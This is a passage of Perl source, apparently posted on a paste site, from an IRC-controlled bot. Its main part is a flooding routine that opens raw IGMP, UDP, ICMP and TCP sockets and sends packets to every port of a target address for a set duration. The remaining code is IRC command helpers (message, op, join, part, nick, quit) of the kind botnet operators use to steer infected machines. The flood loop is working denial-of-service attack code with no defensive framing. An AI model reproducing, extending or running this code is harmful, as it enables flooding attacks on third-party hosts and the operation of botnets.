  683. socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  684. socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  685. socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  686. return(undef) if $cp == 4;
  687. my $itime = time;
  688. my ($cur_time);
  689. while ( 1 ) {
  690. for (my $porta = 1;
  691. $porta <= 65000; $porta++) {
  692. $cur_time = time - $itime;
  693. last if $cur_time >= $ftime;
  694. send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  695. send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  696. send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  697. send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  698.  
  699.  
  700. for (my $pc = 3;
  701. $pc <= 255;$pc++) {
  702. next if $pc == 6;
  703. $cur_time = time - $itime;
  704. last if $cur_time >= $ftime;
  705. socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  706. send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  707. }
  708. }
  709. last if $cur_time >= $ftime;
  710. }
  711. return($cur_time, %pacotes);
  712. }
  713.  
  714. sub ctcp {
  715. return unless $#_ == 1;
  716. sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  717. }
  718.  
  719. sub msg {
  720. return unless $#_ == 1;
  721. sendraw("PRIVMSG $_[0] :$_[1]");
  722. }
  723.  
  724. sub notice {
  725. return unless $#_ == 1;
  726. sendraw("NOTICE $_[0] :$_[1]");
  727. }
  728.  
  729. sub op {
  730. return unless $#_ == 1;
  731. sendraw("MODE $_[0] +o $_[1]");
  732. }
  733.  
  734. sub deop {
  735. return unless $#_ == 1;
  736. sendraw("MODE $_[0] -o $_[1]");
  737. }
  738.  
  739. sub j {
  740. &join(@_);
  741. }
  742.  
  743. sub join {
  744. return unless $#_ == 0;
  745. sendraw("JOIN $_[0]");
  746.  
  747. }
  748. sub p { part(@_);
  749. }
  750.  
  751. sub part {
  752. sendraw("PART $_[0]");
  753. }
  754.  
  755. sub nick {
  756. return unless $#_ == 0;
  757. sendraw("NICK $_[0]");
  758. }
  759.  
  760. sub quit {
  761. sendraw("QUIT $_[0]");
  762. }
  763.  
  764. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement